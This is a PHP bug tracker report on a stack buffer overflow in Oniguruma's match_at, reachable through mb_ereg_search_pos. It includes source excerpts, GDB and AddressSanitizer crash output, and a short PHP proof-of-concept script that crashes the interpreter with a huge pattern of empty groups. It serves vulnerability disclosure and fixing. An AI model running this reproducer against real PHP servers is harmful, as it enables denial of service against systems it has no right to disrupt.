Edit report at https://bugs.php.net/bug.php?id=72970&edit=1
ID: 72970
Updated by: stas@php.net
Reported by: fernando at null-life dot com
Summary: Buffer overflow at match_at through
mb_ereg_search_pos
Status: Open
-Type: Security
+Type: Bug
Package: mbstring related
Operating System: *
PHP Version: 5.6.25
Block user comment: N
Private report: Y
Previous Comments:
------------------------------------------------------------------------
[2016-08-29 23:41:44] fernando at null-life dot com
Description:
------------
"match_at" function uses "alloca" to reserve memory, big patterns at
"mb_ereg_search_pos" cause buffer overflow, and ilegal access memory.
Source code
https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237
static int
match_at(regex_t* reg, const UChar* str, const UChar* end,
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
const UChar* right_range,
#endif
const UChar* sstart, UChar* sprev, OnigMatchArg* msa)
{
static UChar FinishCode[] = { OP_FINISH };
int i, n, num_mem, best_len, pop_level;
...
STACK_INIT(alloca_base, n, INIT_MATCH_STACK_SIZE);
pop_level = reg->stack_pop_level;
num_mem = reg->num_mem;
repeat_stk = (OnigStackIndex* )alloca_base;
mem_start_stk = (OnigStackIndex* )(repeat_stk + reg->num_repeat);
mem_end_stk = mem_start_stk + num_mem;
mem_start_stk--; /* for index start from 1,
mem_start_stk[1]..mem_start_stk[num_mem] */
mem_end_stk--; /* for index start from 1,
mem_end_stk[1]..mem_end_stk[num_mem] */
for (i = 1; i <= num_mem; i++) {
mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
}
...
https://github.com/php/php-src/blob/PHP-5.6.25/ext/mbstring/oniguruma/regexec.c#L1237
#define STACK_INIT(alloc_addr, ptr_num, stack_num) do {\
if (msa->stack_p) {\
alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num));\
stk_alloc = (OnigStackType* )(msa->stack_p);\
stk_base = stk_alloc;\
stk = stk_base;\
stk_end = stk_base + msa->stack_n;\
}\
else {\
alloc_addr = (char* )xalloca(sizeof(char*) * (ptr_num)\
+ sizeof(OnigStackType) * (stack_num));\
stk_alloc = (OnigStackType* )(alloc_addr + sizeof(char*) * (ptr_num));\
stk_base = stk_alloc;\
stk = stk_base;\
stk_end = stk_base + (stack_num);\
}\
} while(0)
GDB output:
gdb -q --args /home/operac/build3/bin/php poc.php
No symbol table is loaded. Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build3/bin/php...done.
gdb-peda$ r
Starting program: /home/operac/build3/bin/php test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7
RBX: 0x1
RCX: 0x7ffffeff81a0
RDX: 0xc ('\x0c')
RSI: 0xffffe
RDI: 0x7fffff7f8190
RBP: 0x7fffffff9ea0 --> 0x7fffffffa0d0 --> 0x7fffffffa390 --> 0x7fffffffa430 -->
0x7fffffffa480 --> 0x7fffffffa6b0 (--> ...)
RSP: 0x7ffffeff81a0
RIP: 0xc3ab1e (<match_at+1470>: mov QWORD PTR [rdi],0xffffffffffffffff)
R8 : 0xc280000128e --> 0x0
R9 : 0xfffffeff032 --> 0x0
R10: 0x0
R11: 0x7ffffeff81a0
R12: 0x7fffffff9e70 --> 0x7fffffff9eb0 --> 0x7fffffffa020 --> 0x0
R13: 0x7fffff7f8188
R14: 0x7fffed22f800 --> 0x230000134000130
R15: 0x7ffffeff8198
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xc3ab0c <match_at+1452>: shr r9,0x3
0xc3ab10 <match_at+1456>: cmp BYTE PTR [r9+0x7fff8000],0x0
0xc3ab18 <match_at+1464>: jne 0xc57978 <match_at+119832>
=> 0xc3ab1e <match_at+1470>: mov QWORD PTR [rdi],0xffffffffffffffff
0xc3ab25 <match_at+1477>: mov rdi,r11
0xc3ab28 <match_at+1480>: shr rdi,0x3
0xc3ab2c <match_at+1484>: cmp BYTE PTR [rdi+0x7fff8000],0x0
0xc3ab33 <match_at+1491>: jne 0xc57935 <match_at+119765>
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7ffffeff81a0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000c3ab1e in match_at (reg=reg@entry=0x614000009440, str=str@entry=0x7fffef02f3a8
"Peter is a boy.", end=end@entry=0x7fffef02f3b7 "",
right_range=right_range@entry=0x7fffef02f3b7 "",
sstart=sstart@entry=0x7fffef02f3a8 "Peter is a boy.", sprev=<optimized out>,
msa=0x7fffffffa020) at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
1280 mem_start_stk[i] = mem_end_stk[i] = INVALID_STACK_INDEX;
gdb-peda$ p mem_start_stk[i]
Cannot access memory at address 0x7ffffeff81a0 // Invalid memory access
gdb-peda$ p mem_end_stk[i]
Cannot access memory at address 0x7fffff7f8190 // Invalid memory acess
gdb-peda$ p *reg
$1 = {
p = 0x7fffed22f800 "0\001",
used = 0x5ffff5,
alloc = 0x7ffff0,
state = 0x0,
num_mem = 0xffffe, // Num of ()
num_repeat = 0x0,
num_null_check = 0x0,
num_comb_exp_check = 0x0,
num_call = 0x0,
capture_history = 0x0,
bt_mem_start = 0x0,
bt_mem_end = 0x0,
stack_pop_level = 0x0,
repeat_range_alloc = 0x0,
repeat_range = 0x0,
enc = 0x27bf9a0 <OnigEncodingUTF8>,
options = 0xc,
syntax = 0x27b9500 <OnigSyntaxRuby>,
case_fold_flag = 0x40000000,
name_table = 0x0,
optimize = 0x0,
threshold_len = 0x0,
anchor = 0x0,
anchor_dmin = 0x0,
anchor_dmax = 0x0,
sub_anchor = 0x0,
exact = 0x0,
exact_end = 0x0,
map = '\276' <repeats 256 times>,
int_map = 0x0,
int_map_backward = 0x0,
dmin = 0xbebebebe,
dmax = 0xbebebebe,
chain = 0x0
}
Test script:
---------------
<?php
mb_ereg_search_init("Peter is a boy.");
$v1=str_repeat("()", 0xffffe);
mb_ereg_search_pos($v1);
Expected result:
----------------
No crash
Actual result:
--------------
=================================================================
==12511==ERROR: AddressSanitizer: SEGV on unknown address 0x7ffdbf0500e0 (pc 0x000000c3ab1e bp
0x7ffdbf851df0 sp 0x7ffdbe8500f0 T0)
#0 0xc3ab1d in match_at /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280
#1 0xc5e954 in onig_search /home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:3634
#2 0xdf983d in _php_mb_regex_ereg_search_exec
/home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1228
#3 0xdf983d in zif_mb_ereg_search_pos
/home/operac/php-src-56/php-src/ext/mbstring/php_mbregex.c:1290
#4 0x1d6bc67 in zend_do_fcall_common_helper_SPEC
/home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:558
#5 0x1c1773c in execute_ex /home/operac/php-src-56/php-src/Zend/zend_vm_execute.h:363
#6 0x195afda in zend_execute_scripts /home/operac/php-src-56/php-src/Zend/zend.c:1341
#7 0x16a889f in php_execute_script /home/operac/php-src-56/php-src/main/main.c:2613
#8 0x1d749ef in do_cli /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:994
#9 0x4551b0 in main /home/operac/php-src-56/php-src/sapi/cli/php_cli.c:1378
#10 0x7f4aa5fb482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x455838 in _start (/home/operac/build3/bin/php+0x455838)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV
/home/operac/php-src-56/php-src/ext/mbstring/oniguruma/regexec.c:1280 match_at
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72970&edit=1